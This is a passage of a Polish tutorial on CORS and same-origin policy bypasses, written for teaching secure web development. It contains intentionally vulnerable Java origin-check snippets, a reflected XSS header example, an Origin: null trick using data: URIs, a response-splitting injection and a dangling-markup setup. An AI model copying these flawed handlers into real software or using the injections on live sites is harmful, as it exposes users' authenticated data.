W momencie gdy chcemy umożliwić dostęp do innych (niestandardowych) nagłówków, musimy umieścić ich nazwy w aktualnie omawianym nagłówku. Jego wartością jest lista nazw nagłówków, separowana przecinkami. |
Przesyłanie danych uwierzytelniających w CORS
Mechanizm CORS poza możliwością decydowania czy zapytania mają zostać wykonane, i czy ich wyniki mają zostać zwrócone, daje nam kontrolę nad jeszcze jednym aspektem komunikacji: przesyłania danych uwierzytelniających (ang. credentials – odnosi się to zarówno do ciastek, na przykład sesyjnych, jak i choćby nagłówków związanych z uwierzytelnieniem typu Authorization). Aby dane te zostały wysłane, w obiekcie typu XMLHttpRequest2 musimy o to wyraźnie poprosić ustawiając flagę withCredentials:
var xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open(method, url, true);
Ustawienie flagi withCredentials powoduje jedynie uruchomienie innego trybu w wykonywaniu zapytań przez przeglądarkę – w dalszym ciągu to serwer ma ostateczne słowo (z dokładnością do zachowania wstecznej kompatybilności). W praktyce wygląda to tak, że jeśli ustawiona została ta flaga, serwer musi dołączać jeszcze jeden nagłówek: Access-Control-Allow-Credentials, z wartością ustawioną na true – oczywiście jeśli chce aby komunikacja odbywała się bez problemów (czyli – uważa ją za bezpieczną). Jeśli tego nagłówka nie będzie na którymś etapie, zachowanie będzie analogiczne jak przy braku ACAO, czyli:
- Jeśli zapytanie było “proste” i odpowiedź nie posiada nagłówka ACAC – dane uwierzytelniające zostaną wysłane z zapytaniem, ale odpowiedź nie zostanie przekazana przez przeglądarkę klientowi.
- Jeśli zapytanie było “nie-takie-proste”, a więc spowodowało zapytanie preflight na które odpowiedź nie posiada nagłówka ACAC – przeglądarka zakończy komunikację po zapytaniu preflight (zapytanie docelowe się nie odbędzie), a dane uwierzytelniające nie zostaną nigdy przesłane.
- Jeśli zapytanie było “nie-takie-proste”, dla którego odpowiedź na zapytanie preflight zawierała nagłówek ACAC ale odpowiedź na zapytanie docelowe nie zawiera nagłówka ACAC, zapytanie docelowe się wykona (a wraz z nim przesłane zostaną dane uwierzytelniające), ale jak w przypadku zapytań prostych odpowiedź na nie nie zostanie przekazana klientowi przez przeglądarkę.
Gdy z jakiegoś powodu w powyższych przypadkach komunikacja przez CORS się nie uda, na konsolę przeglądarki rzucony zostanie błąd mniej więcej jak na screenie poniżej:
Implementacja mechanizmu CORS po stronie serwera
Zauważmy, że cały mechanizm CORS jest mechanizmem typu Opt-In. Znaczy to, że jeśli nasz serwer nie obsługuje z dowolnego powodu zapytań Cross-Site – czy to dlatego, że nie jest świadomy ich istnienia, czy dlatego, że nie zgadza się na tego typu komunikację – wszystko będzie działać jak powinno, bez żadnej zmiany w kodzie aplikacji – nieustawienie odpowiednich nagłówków jest tożsame z niewyrażeniem zgody.
Jeśli jednak chcemy umożliwiać zapytania Cross-Site (przynajmniej niektóre), ważną częścią implementacji mechanizmu CORS w naszej aplikacji jest ich obsługa przez serwer: o ile duża część pracy jest wykonywana transparentnie przez przeglądarkę, ostatecznie to serwer musi podjąć pewne decyzje które są krytyczne z punktu widzenia bezpieczeństwa. Przypomnijmy sobie jakie są to decyzje:
- Czy zapytanie które otrzymaliśmy jest zapytaniem typu Same-Origin, czy Cross-Origin?
- Czy mamy do czynienia z zapytaniem, czy też jego wersją preflight?
- Czy dany endpoint (URI) powinien być dostępny Cross-Origin?
- Czy Origin zapytania jest zaufany – w kontekście danego endpointu (URI)?
- Czy metoda której Origin chce użyć jest poprawna?
- Czy nagłówki które Origin chce wysłać/otrzymać są bezpieczne?
- Czy zgadzamy się aby w ramach zapytania zostały wysłane dane uwierzytelniające?
- Czy zgadzamy się aby klient miał dostęp do zwróconych danych?
- Czy chcemy przyspieszyć działanie aplikacji poprzez cache-owanie wyników zapytań preflight?
Niestety, generowanie nagłówków CORS z reguły musi być robione dynamicznie a nie statycznie. W jaki sposób zapewnić, że nasza implementacja obsługi zapytań Cross-Origin jest bezpieczna? Jak w większości przypadków, najlepszym na to sposobem będzie skorzystanie z gotowych komponentów dostarczanych razem z frameworkiem. Dla przykładu, najpopularniejszy framework Javowy – Spring – wspiera mechanizm CORS. Niekiedy jednak oczywiście nie mamy luksusu skorzystania z gotowego rozwiązania. Należy wtedy być ostrożnym – implementacja CORS nie jest przesadnie trudna, ale łatwo o drobne błędy tworzące poważne problemy bezpieczeństwa. Niestety, miejscami sama specyfikacja nie pomaga. Dla przykładu podaje ona, że w nagłówku ACAO możemy podać * (gwiazdkę), pojedynczy Origin, listę Originów (rozdzielone spacją), lub null (co oznacza, że nie autoryzujemy żadnego Originu). W praktyce jednak tylko dwa pierwsze typy wartości są rozpoznawane i traktowane poprawnie przez przeglądarki (więcej o tym w dalszej części tekstu, przy błędach konfiguracji). Co prawda w nowszej wersji specyfikacji jest to już poprawione, ale pomylić się nietrudno. W przypadku konieczności implementacji obsługi CORS od zera warto się posiłkować listą z tego podrozdziału.
Minusy CORS
CORS zasadniczo jest bardzo przydatnym mechanizmem – z punktu widzenia klienta narzut pracy jest niewielki, a – z dokładnością do implementacji na serwerze – jego mechanizm jest bezpieczny. Można jednak zauważyć, że istnieje jego jeden minus – narzut transferu. Nagłówków związanych z CORS jest dużo, wszystkie są dość “ciężkie” (długie), a dodatkowo w wielu przypadkach musimy wykonać jedno ekstra zapytanie na każde regularne zapytanie (oczywiście tylko wtedy gdy mówimy o zapytaniach typu “nie-takie-proste” – mowa o zapytaniach preflight). Warto mieć tą właściwość CORS na uwadze, ale należy podkreślić, że w dalszym ciągu alternatywa jest dużo gorsza z punktu widzenia bezpieczeństwa, a zatem rezygnacja z CORS tylko z powodu narzutu czasowego w większości przypadków powinna być uznana za złą decyzję. Warto też rozważyć wspomnianą możliwość cache’owania odpowiedzi na zapytania preflight, która mocno zredukuje narzut na komunikacje – dla przykładu gdy otrzymujemy zapytanie preflight pod danym URI dla metody GET, w nagłówku Access-Control-Allow-Methods możemy podać oddzielone przecinkami wszystkie obsługiwane metody, nie tylko GET. Przeglądarka umieści taką informację w cache’u, i na przykład nie wykona zapytania preflight gdy w niedalekiej przyszłości wykonany zapytanie PUT z tego samego klienta, pod ten sam adres. To samo tyczy się na przykład nagłówka Access-Control-Allow-Headers.
Alternatywy dla CORS
Czasami możemy nie chcieć, lub nie móc skorzystać z technologii CORS. Jak widać, włączenie CORSa wymaga zmodyfikowania kodu serwera z którego chcemy pobrać dane, gdyż musimy ustawić pewne nagłówki. Czasem możemy nie mieć na to ochoty (zależy nam na szybkim rozwiązaniu), a czasami wręcz możliwości (nie kontrolujemy serwera na tyle żeby ustawić nagłówki). Oczywiście jest też szansa, że przeglądarka którą chcemy wspierać nie obsługuje tej technologii – choć w dzisiejszych czasach dotyczy to raczej tylko bardzo starych wersji Internet Explorera.
Poniżej bardzo krótko wspomniano o alternatywach możliwych w takim przypadku. W celu szerszego zapoznania się z poniższymi technologiami odsyłam do podlinkowanych materiałów. Podkreślić trzeba, że w dzisiejszych czasach preferowaną metodą komunikacji Cross-Origin powinien być CORS! A także, że wszystkie z poniższych rozwiązań wiążą się z osłabieniem przeglądarkowego mechanizmu obrony SOP – oczywiście poniekąd o to nam chodzi, ale warto być ostrożnym przy ich stosowaniu, aby nie wprowadzić w naszą aplikację przypadkiem podatności.
JSONP
JSONP (ang. JSON with Padding) jest technologią która korzysta z faktu, że tagi <script> podlegają rozluźnionej polityce SOP: możemy załączać na naszej stronie skrypty z dowolnego Originu. Załóżmy, że chcemy pobrać za pomocą JSONP następujące dane (w formacie JSON):
{ “field1”: “value1”, “field2”: “value2”, “field3”: “value3” }
Dane te są dostępne pod adresem http://example.com/json. Oczywiście, gdybyśmy próbowali po prostu użyć tego endpointu jako źródła skryptu (<script src=”http://example.com/json”></script> ) po pierwsze nie bylibyśmy się w stanie dostać do zwróconych danych (nie pozwala na to SOP), a po drugie zostałby wyrzucony błąd na konsoli, gdyż obiekt JSON sam w sobie nie stanowi poprawnego kodu Javascript (inna sprawa to tablica JSON – o tym wspomniane jest później). Zmodyfikujmy zatem nasz endpoint dodając parametr callback: http://example.com/json?callback=callback. Endpoint ten zwraca teraz następujące dane:
callback({ “field1”: “value1”, “field2”: “value2”, “field3”: “value3” });
Tworzą one już poprawny składniowo kod Javascript – który wykona się po stronie przeglądarki. Oczywiście, wykona się tylko wtedy, gdy w ramach naszej strony będzie zdefiniowana funkcja callback(), pobierająca jako argument obiekt. To ona jest odpowiedzialna za odebranie, i przetworzenie danych (na przykład wyświetlenie ich na stronie).
JSONP jest dość często spotykanym rozwiązaniem, niekoniecznie jednak polecanym. Po pierwsze jest to przykład niestandardowego obejścia zabezpieczeń przeglądarki (“hack”) – w przeciwieństwie do CORS. Po drugie, mamy dużo mniejsze możliwości kontroli nad tym komu udostępniamy dane. Po trzecie, używając JSONP należy być bardzo ostrożnym – przy braku ograniczeń na wartość parametru callback (to znaczy – braku jego walidacji), otwieramy się na dużą ilość potencjalnych błędów (ataki XSS, obejścia Content-Security-Policy, itp).
JSONP jest wspierany przez wszystkie przeglądarki – jako że nie używa on żadnych mechanizmów innych niż Javascript. Bardziej szczegółowe informacje o JSONP znajdują się tutaj.
postMessage
window.postMessage() jest mechanizmem w przeglądarkach który umożliwia (jak sama nazwa wskazuje) przekazywanie sobie wiadomości pomiędzy oknami. Aby to zrobić musimy uzyskać referencje do obiektu window – na przykład poprzez zagnieżdżenie ramki ze stroną docelową (możemy się wtedy odwołać do strony zagnieżdżonej za pomocą referencji na ramkę – na przykład window.frames[0].postMessage() – a do strony zagnieżdżającej przez referencję window.parent – na przykład window.parent.postMessage()).
Aby użyć tej funkcjonalności, musimy na stronie która odbiera dane zdefiniować obsługę eventu “message”:
function handleEvent(event) { // Handle received message here } window.addEventListener(“message”, handleEvent);
A następnie, ze strony która wysyła dane musimy wysłać wiadomość, na przykład tak:
window.parent.postMessage({ “field1”: “value1”, “field2”: “value2”, “field3”: “value3” }, “http://example.com”);
Jak widać, użycie window.postMessage() nie jest przesadnie skomplikowane. Metoda ta jest też częścią standardu HTML5 (HTML LS – Living Standard), i jest wspierana przez wszystkie nowoczesne przeglądarki.
Metoda window.postMessage() jest lepszym pomysłem na przesyłanie danych Cross-Site niż JSONP, ale również nie należy do najbezpieczniejszych. Należy zawsze pamiętać o dostarczeniu odpowiedniej wartości Origin jako argumentu (dozwolony Origin odbiorcy wiadomości), oraz o sprawdzaniu pola “origin” w handlerze eventu (Origin nadawcy wiadomości). W przeciwnym razie narażamy się na wiele różnego rodzajów ataków typu Cross-Site. Więcej o window.postMessage() można przeczytać tutaj.
Server Proxy
Server Proxy jest bardzo prostym rozwiązaniem: tworzymy endpoint który jako parametr otrzymuje adres URL (docelowe miejsce z którego chcemy pobrać dane), i wykonuje zapytanie pod otrzymany adres po stronie serwera. Oczywiście, zapytania HTTP po stronie serwera w żaden sposób nie są ograniczone przez SOP (SOP działa tylko w przeglądarkach), tak więc możemy bez problemu pobrać zwrócone dane, i zwrócić je dalej, do naszego klienta.
Rozwiązanie to również nie należy do najbezpieczniejszych: otwiera nas ono z definicji na ataki typu SSRF, więc odpowiednia walidacja URL-i jest konieczna. Dodatkowo, bez specjalnych trików nie będziemy w stanie w ten sposób przesłać danych uwierzytelniających klienta (na przykład ciastek) – dlatego sprawdzi się ono tylko przy pobieraniu danych Cross-Site, ale publicznych.
Jeśli nie chcemy specjalnie tworzyć endpointu proxy na naszym serwerze, można posiłkować się albo dodatkowym lekkim serwerem postawionym specjalnie w tym celu (na przykład takim, lub takim), albo zewnętrzną aplikacją – ta ostatnia używa połączenia proxy i CORS, aby móc jednocześnie zaciągnąć dane po stronie serwera, jak i być dostępną (dzięki CORS) dla zapytań XHR ze wszystkich Originów.
W kontekście tego rozwiązania należy mieć na uwadze, że wszystkie nasze zapytania będą przechodzić przez pośrednika. Co prawda tym sposobem nie pobieramy z reguły wrażliwych danych – nie jesteśmy nawet w stanie wysłać danych uwierzytelniających – ale należy się solidnie upewnić, że czujemy się komfortowo ze świadomością potencjalnego przejmowania całego naszego ruchu.
Więcej na temat proxy można przeczytać na przykład tu albo tu.
WebSockets
Mechanizm WebSockets z definicji nie podlega polityce SOP – jest więc naturalnym jej obejściem. Jeśli strona z której dane chcemy pobrać umożliwia korzystanie z WebSocketów, wystarczy taki socket po prostu otworzyć, a następnie użyć!
O ile rozwiązanie jest proste, należy pamiętać, że jego prostota prowadzi też do potencjalnie mniejszego bezpieczeństwa. Znany jest atak typu Cross-Site WebSocket Hijacking (CSWSH, opisywany także w długim opracowaniu o WebSocketach na Sekuraku) który wykorzystuje właśnie brak podlegania polityce SOP. Udostępniając zasób przez WebSockety należy być bardzo ostrożnym. Oczywiście muszą być one wspierane przez serwer, a więc potencjalnie może konieczna być jego modyfikacja, co też trochę utrudnia implementację. WebSockety udostępniane są w stosunkowo nowych wersjach przeglądarek, i są aktualnie częścią standardu HTML5 (HTML LS – Living Standard). Więcej o WebSocketach można poczytać tu.
Flash i crossdomain.xml
Kolejnym rozwiązaniem jest użycie Flasha (to znaczy – o ile jeszcze nie odinstalowaliśmy go kompletnie z systemu – co powinniśmy zrobić!). Nie jest to właściwie obejście polityki SOP – Flash jako wtyczka do przeglądarki nie podlega standardowej polityce SOP. Zamiast tego, aby uniknąć różnego rodzaju groźnych błędów, Flash implementuje podobny do SOP mechanizm zwany Cross-Domain Policy. Zasada jego działania jest zbliżona jeśli chodzi o logikę – ale różni się sposób jej rozluźnienia. Zamiast nagłówków CORS mamy do czynienia z plikiem crossdomain.xml który musimy umieścić na serwerze, z którego chcemy zaciągać dane typu Cross-Origin. Na przykład, jeśli chcemy aby Origin https://example.com miał dostęp z hostowanych u siebie plików Flash do Originu https://anotherexample.com, musimy umieścić następujący plik dostępny pod adresem https://anotherexample.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="anotherexample.com" /> </cross-domain-policy>
Następnie można w normalny – dla Flasha – sposób wykonywać połączenia Cross-Origin do tak przygotowanego zasobu.
Rozwiązanie tego typu jest oczywiście nie polecane. Flash jest rozwiązaniem które jest martwe i pełne błędów, i zamiast użycia tej technologii lepiej trzymać się opcji danych nam w ramach HTML5. Jeśli jednak z jakiegoś powodu tego typu rozwiązanie jest konieczne, tu można znaleźć więcej informacji o Cross-Domain Policy we Flashu (na marginesie – Silverlight posiadał bardzo podobny mechanizm, ale tym bardziej nie należy go stosować).
Sposoby obejścia Same-Origin Policy
Z punktu widzenia atakującego (choć także twórcy aplikacji który chce zabezpieczyć się przed atakami) interesować nas będzie w jaki sposób można obejść politykę SOP, z pomocą – lub bez – CORS. Złą (dla atakującego) wiadomością jest fakt, że zasadniczo (z dokładnością do rzadkich błędów typu 0-day w przeglądarkach) poprawnie zaaplikowana polityka CORS jest nie do obejścia. Na szczęście (dla atakującego) błędy w konkretnych implementacjach i konfiguracji zdarzają się, a więc nie jesteśmy bez szans. Stosunkowo częste są też przypadki obejścia SOP nie związane z CORS. Poniżej opisanych zostanie trochę przykładów
“Obejścia” CORS
Jak już wspomniano, z reguły obejścia CORS są nie tyle związane z obejściem samego mechanizmu, co błędnej jego konfiguracji, nadmiernego zaufania, lub niezrozumienia technologii.
Zbyt szerokie uprawnienia: * (gwiazdka) w odpowiedzi
Podstawowym błędem konfiguracji jest oczywiście zbyt niefrasobliwe nadawanie praw dostępu do zasobów. Wyobraźmy sobie, że programista aplikacji – jak programiści często mają w zwyczaju – chce aby wszystko “po prostu działało”. Słyszał coś o CORSie, więc na wszystkie zapytania typu OPTIONS odpowiada z nagłówkiem Access-Control-Allow-Origin: * (czyli: pozwól na dostęp do mnie wszystkim wartościom Origin). Fragment implementacji obsługi CORS wyglądałaby wtedy na przykład tak (Java):
(...) // We accept ALL Origins! httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, "*"); // CORS doesn't really have point without credentials, right? httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true"); (...)
Taka konfiguracja otwiera nasze endpointy dla każdego kto chciałby się z nimi połączyć. Wygląda to na bardzo duży problem, ale wbrew pozorom nie jest to najgorsza rzecz która może się zdarzyć (choć oczywiście i tego powinniśmy unikać!). Dlaczego? Otóż użycie “gwiazdki” powoduje, że przeglądarka nie prześle danych uwierzytelniających, nawet jeśli flagi XMLHttpRequest.withCredentials i Access-Control-Allow-Credentials będą na to zezwalały (tak jak w Listingu 10, gdzie nagłówek ACAC jest ustawiany). Co więcej, samo zapytanie nie zostanie w ogóle wykonane jeśli poprosimy o przesłanie danych uwierzytelniających – zamiast tego zobaczymy na konsoli błąd podobny do następującego:
Łatwo zatem zauważyć, że potencjalne ataki na tego typu konfigurację są dość mocno osłabione.
Jest jeden wyjątek gdy nagłówek ACAO z gwiazdką będzie problematyczny: gdy używamy uwierzytelnienia opartego na lokalizacji maszyny. Dla przykładu, jeśli serwer dopuszcza do siebie ruch tylko z white-listy adresów IP (na przykład z sieci lokalnej), ale zwraca nagłówek ACAO z gwiazdką, wtedy możemy zaatakować dowolny host obecny w tej sieci który ma uprawnienia dostępu, i zmusić go do komunikacji z “zabezpieczonym” serwerem i eksfiltracji danych za pomocą zwykłego ataku CSRF.
Zbyt szerokie uprawnienia: “odbijanie” Originu
Pewnym niedociągnięciem CORS (czy też bardziej – nieuwzględnioną funkcjonalnością) jest niemożność zdefiniowania więcej niż jednego Originu uprawnionego do odbierania danych. Co prawda w teorii, jak już było wspomniane, oryginalna specyfikacja CORS umożliwiała podawanie listy Originów w ramach nagłówka ACAO, ale żadna przeglądarka nigdy nie akceptowała takiej listy (nowsza wersja specyfikacji CORS będąca częścią standardu Fetch usuwa całkowicie wzmiankę o “liście”). Aby to obejść możemy użyć gwiazdki, ale wtedy (jak zostało wspomniane przed chwilą) nie mamy możliwości przesyłania danych uwierzytelniających. Jedyna zatem możliwość to dynamiczne ustawianie wartości ACAO. Niestety, jeśli podejdziemy do tego leniwie, prosimy się o kłopoty: załóżmy, że nasz serwer działa jak bezmyślne “echo”, i “odbija” nagłówek Origin. Co mamy na myśli? Rozważmy następującą obsługę zapytań CORS (Java):
(...) // Copy Origin header to Access-Control-Allow-Origin header httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, httpRequest.getHeader(HttpHeaders.ORIGIN)); // CORS doesn't really have point without credentials, right? httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true"); (...)
W tym wypadku gdy serwer dostanie zapytanie z nagłówkiem Origin: http://cokolwiek.host, odpowie: Access-Control-Allow-Origin: http://cokolwiek.host. Zauważmy, że z punktu widzenia aplikacji może się wydawać, że jest to równoważne użyciu “gwiazdki” – niestety, z punktu widzenia przeglądarki wygląda to jak “nie-gwiazdkowy”, zautoryzowany request, co znaczy, że zapytanie wykona się bez problemu, a także dane uwierzytelniające zostaną do niego dołączone. Oczywiście poniekąd o to nam chodziło, ale należy mieć na uwadzę, że używając powyższej obsługi zapytań CORS otwieramy naszą aplikację na wszystkie możliwe ataki CSRF i to w wersji “na sterydach” – teraz atakujący ma też dostęp do danych zwróconych z serwera! Jednym słowem, całkowicie wyłączamy politykę SOP. Prawdopodobnie nie to było naszym celem… A warto nadmienić, że nic nie stoi na przeszkodzie żeby automatycznie pozyskać listę stron które działają w taki sposób.
Błędy implementacji
Generując wartość ACAO dynamicznie, musimy oczywiście napisać kod który podejmie pewne decyzje. A skoro tak, kod ten może zawierać błędy. Załóżmy na przykład, że nasz programista wie o CORSie, i chciałby ograniczyć zapytania typu Cross-Origin tylko do jednej domeny – example.com, ze schematem HTTPS i na dowolnym porcie. Kod obsługujący zapytania CORS mógłby wyglądać następująco (Java):
if (null != origin && origin.startsWith("https://example.com")) { // This is a SAFE Cross-Origin request // Origin has been validated before, we can simply reflect it httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, origin); // CORS doesn't really have point without credentials, right? httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true"); }
Wyobraźmy sobie teraz sprytnego atakującego, który zarejestruje domenę evil.com, i utworzy serwer dostępny pod adresem https://example.com.attacker.com. Szybki rzut oka na powyższy kod uświadomi nam, że ta fałszywa domena przejdzie weryfikację po stronie serwera, obchodząc zabezpieczenia…
Inny, bardzo podobny przykład to kod który próbuje się upewnić, że uprawniony Origin pochodzi tylko z subdomeny naszej domeny (na przykład example.com i trusted.example.com), z dowolnym schematem i domyślnym dla niego protokołem (Java):
if (null != origin && origin.endsWith("example.com")) { // This is a SAFE Cross-Origin request // Origin has been validated before, we can simply reflect it httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, origin); // CORS doesn't really have point without credentials, right? httpResponse.addHeader(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true"); }
Tym razem atakujący obejdzie zabezpieczenia jeśli zarejestruje domenę na przykład definitelynotexample.com. Dodać należy, że tego typu ataki jak najbardziej zdarzają się w praktyce.
Oczywiście powyższe przykłady są również możliwe gdy używamy RegExpów – RegExpy też (i to często) zawierają błędy. Najprostszy chyba przykład to RegExp “https://mail.google.com”. Wygląda nie do obejścia? To tylko złudzenie! W końcu w wyrażeniach regularnych kropka oznacza dowolny znak a więc domena http://mail1google.com, http://mailxgoogle.com i wszystkie podobne przejdą test poprawnie! Trochę mniej typowa sytuacja, to gdy programista niepoprawnie założy że niektóre znaki nie znajdą się nigdy w Originie. Co prawda przeglądarki w większości nie dają tutaj dużego pola do popisu (więc można by powiedzieć że takie założenie ma pewne podstawy), ale na przykład Safari podchodzi do tej kwestii dość liberalnie. Ciekawy przykład tego typu błędu jest opisany pod tym linkiem – atakujący postawił swój serwer DNS, który serwował adres IP dla subdomen example.com – na przykład domeny view.yahoo.com%60example.com. Domena jest poprawna według specyfikacji DNS, i choć większość przeglądarek uzna ją za niepoprawną, to Safari bez skrzywienia załaduje stronę, powodując obejście SOP dla view.yahoo.com (które “odbijało” tak skonstruowany Origin – mimo, że generalnie nie “odbijało” Originów nie będących subdomenami yahoo.com).
Morał z powyższych przykładów jest taki, że należy w miarę możliwości stosować white-listy dozwolonych Originów, i dokładnie je sprawdzać.
“null” Origin
Wspomniane wcześniej było, że oryginalna specyfikacja CORS definiowała odpowiedź z nagłówkiem ACAO ustawionym na null jako “nie pozwól nikomu na dostęp do moich danych”. Niestety, tak jak z listą Originów, przeglądarki nigdy nie zaimplementowały takiego zachowania. Co zatem oznacza dla przeglądarki tak ustawiony ACAO? Otóż przeglądarka dosłownie traktuje null jako wartość Origin.
Mogłoby się wydawać, że nie jest to problem, gdyż Origin dla każdej strony dostępnej przez URL jest dobrze zdefiniowany, i null jest jego nieprawidłową wartością. Okazuje się jednak, że uzyskanie zapytania z Origin: null nie tylko nie jest niemożliwe, ale jest wręcz bardzo proste: Origin: null wysyłany jest wtedy, kiedy używamy niektórych niestandardowych pseudo-protokołów. Przykład? Pseudo-protokół file://. Ale jest jeszcze prościej – otóż okazuje się, że możemy użyć pseudo-protokołu data: (jako link, na przykład źródło zamieszczonej na dowolnej stronie ramki iframe). Można to sprawdzić wklejając w pasek adresowy URL data:text/html,<script>fetch(’http://example.com/’);</script>, i patrząc na komunikację sieciową: do serwera example.com pójdzie zapytanie CORS z Origin ustawionym na null.
Ten problem jest o tyle specyficzny, że poza normalnym błędem konfiguracji, należy pamiętać, że wartość null może pojawić się w nagłówku ACAO przypadkiem! W końcu jest to domyślna wartość dla niezdefiniowanych zmiennych w wielu językach programowania…
Nadmierne zaufanie do stron trzecich
CORS nie broni nas (bo nie ma tego na celu) przed atakami typu XSS. Jest to logiczne, ale należy pamiętać o tym, że atak typu XSS zawsze, całkowicie niweluje wszystkie możliwe mechanizmy obrony przed atakiem CSRF. W kontekście jednej domeny (na przykład example.com) jest to problem, ale na szczęście mamy pełne panowanie nad tą domeną – więc możemy się bardzo mocno starać aby uniknąć podatności typu XSS. Gorzej jest, jeśli domen (i aplikacji) jest więcej. Na przykład, że w danej firmie mamy wiele aplikacji, dostępnych na subdomenach (na przykład *.example.com). Chcemy, żeby bez problemu się one ze sobą komunikowały, co umożliwia nam włączony CORS, Ale wtedy XSS na dowolnej z domen *.example.com umożliwia atak na naszą aplikację! A to i tak nie jest najgorszy scenariusz – przynajmniej aplikacje są dalej “nasze”, więc mamy wpływ na ich bezpieczeństwo, i możemy pilnować żeby błędów typu XSS nie było (będzie to ciężkie, ale potencjalnie możliwe). Co natomiast jeśli korzystamy z aplikacji firm trzecich, wystawionych na domenach dozwolonych przez CORS? Nagle mała podatność XSS w dowolnej z nich powoduje całkowite obejście CORS w naszej aplikacji!
Podsumowywując, umożliwienie cudzym aplikacjom korzystania z naszych danych poprzez CORS powinno być mocno przemyślane, i na pewno nie automatyczne. Należy pamiętać, że każda z tego rodzaju stron mocno zwiększa możliwości ataku na naszą aplikację.
CORS i Cache Poisoning
Ciekawym przykładem ataku jest połączenie CORS z atakiem typu Cache Poisoning. Możemy do tego użyć pamięci podręcznej zarówno klienta, jak i serwera.
Client cache
Wyobraźmy sobie, że znaleźliśmy na przykład takiego rodzaju podatność XSS:
GET / HTTP/1.1 Host: example.com X-Header: <script>alert(‘reflected’);</script> HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html <script>alert(‘reflected’);</script>
W teorii jest to błąd, ale właściwie niemożliwy do exploitacji, jako, że wymaga od nas ustawienia specjalnego nagłówka X-Header. Zauważmy jednak, że odpowiedź nie ustawia nagłówka Vary: Origin. Oznacza to, że możemy przeprowadzić dwuetapowy atak:
- Na podstawionej stronie, wykonajmy zapytanie (XHR) takie jak wyżej. Do zapytania dołączony zostanie ekstra nagłówek Origin. Przeglądarka otrzyma “odbite” dane których prawdopodobnie nam nie przekaże (no chyba, że ofiara źle skonfigurowała… CORS). Wydaje się, że nic nie zyskaliśmy, ale przeglądarka umieściła odpowiedź w pamięci podręcznej cache.
- Ofiara następnie odwiedza stronę example.com. Strona w pamięci podręcznej nie została zwrócona z Vary: Origin, więc zostanie ona użyta jako “odpowiedź” – i tym razem atak XSS wykonuje się z sukcesem!
Wniosek jest prosty: wbrew notatce w aktualnej specyfikacji CORS, warto zawsze dodawać nagłówek Vary: Origin jeśli korzystamy z CORS, a nie tylko przy dynamicznej generacji nagłówka ACAO. Co prawda tracimy trochę na wydajności, ale unikamy potencjalnego ataku.
Server cache
Możliwe jest też czasami wykorzystanie pamięci podręcznej cache serwera. Jednym z przykładów obecnych w literaturze jest na przykład traktowanie znaku powrotu karetki (ASCII 0x0d) przez Internet Explorer, ale także Edge, jako znaku końca linii. To oznacza, że jeśli mamy możliwość wstrzyknięcia tego znaku w Origin, na przykład w taki sposób:
GET / HTTP/1.1 Origin: origin<0x0d>Content-Type: text/html; charset=UTF-7
To odpowiedź z serwera która potencjalnie zostanie scache’owana wygląda tak:
HTTP/1.1 200 OK Access-Control-Allow-Origin: origin<0x0d>Content-Type: text/html; charset=UTF-7
Ale przez przeglądarki Microsoft zostanie zinterpretowana tak:
HTTP/1.1 200 OK Access-Control-Allow-Origin: origin Content-Type: text/html; charset=UTF-7
Jak widać, udało nam się z powodzeniem przeprowadzić atak typu HTTP Response Splitting – w tym wypadku wstrzykując podatny na dalszą exploitację nagłówke Content-Type z kodowaniem UTF-7.
Oczywiście, przeglądarka nigdy nie wykona oryginalnego zapytania GET – ale ponieważ mówimy o cache’u serwera, to wystarczy, że atakujący dowolnym sposobem (np cURLem) wykona oryginalne zapytanie, które następnie zostanie zapisane w cache’u, i potencjalnie zaserwowane ofiarom.
Nie ma co tutaj ukrywać, że o ile ataki na cache klienta są jeszcze stosunkowo praktyczne, o tyle te na cache serwera nie wyglądają na bardzo prawdopodobne – ale na pewno są ciekawe.
Inne przykłady obejścia SOP
Jeśli nie możemy zaatakować bezpośrednio mechanizmu CORS, nie znaczy to, że musimy się poddać. Inne błędy często dadzą nam efekty które chcieliśmy uzyskać, bez dotykania CORS w najmniejszym stopniu.
Przykład pierwszy i najprostszy – to zabezpieczenie naszej obsługi zapytań CORS, ale pozostawienie innych możliwości kontaktu Cross-Origin ze stroną (czyli wykorzystanie jednego z mechanizmów wspomnianych w poprzedniej części artykułu, na przykład JSONP, window.postMessage() czy Flash). Pamiętajmy, że bezpieczeństwo naszej aplikacji jest tak mocne, jak bezpieczeństwo najsłabszego jej ogniwa. Jeśli ograniczymy zapytania CORS, ale zostawimy na przykład bardzo luźną politykę crossdomain.xml, jesteśmy dalej w punkcie wyjścia.
Przykład drugi to wspomniane już błędy typu XSS. Powinno być dla nas oczywiste, że dowolny błąd typu XSS powoduje, że atakujący dostaje możliwość wywoływania dowolnych zapytań Cross-Origin, dlatego, że… nie są one Cross-Origin, tylko Same-Origin (co wynika z natury ataku XSS)! W tym wypadku nie pomoże nam większość szeroko stosowanych zabezpieczeń przed atakami typu CSRF (typu tokeny CSRF i tym podobne), a CORS (jak wspomniano już wcześniej) może wręcz zwiększyć powierzchnię dla potencjalnego ataku innych aplikacji.
Przykład trzeci to podatność podobna do XSS, która jednak nie polega na wykonaniu kodu Javascript. Załóżmy, że mamy możliwość wstrzyknięcia kodu HTML w stronę, ale z jakiegoś powodu (na przykład – rygorystycznie ustawiona polityka Content-Security-Policy), nie mamy możliwości uruchomienia kodu. Tego typu błąd nazywa się Dangling Markup. Wydawać się może, że nasze możliwości są bardzo ograniczone, i choć po części to prawda, nie zawsze będziemy na pozycji straconej. Wyobraźmy sobie następujący kod HTML przedstawiający naszą stronę (PHP):
<h1>Hello <?=$_GET['name']?>!</h1> Your super secret password is: 123456. Don't tell anyone! <img src="logo.png"/>
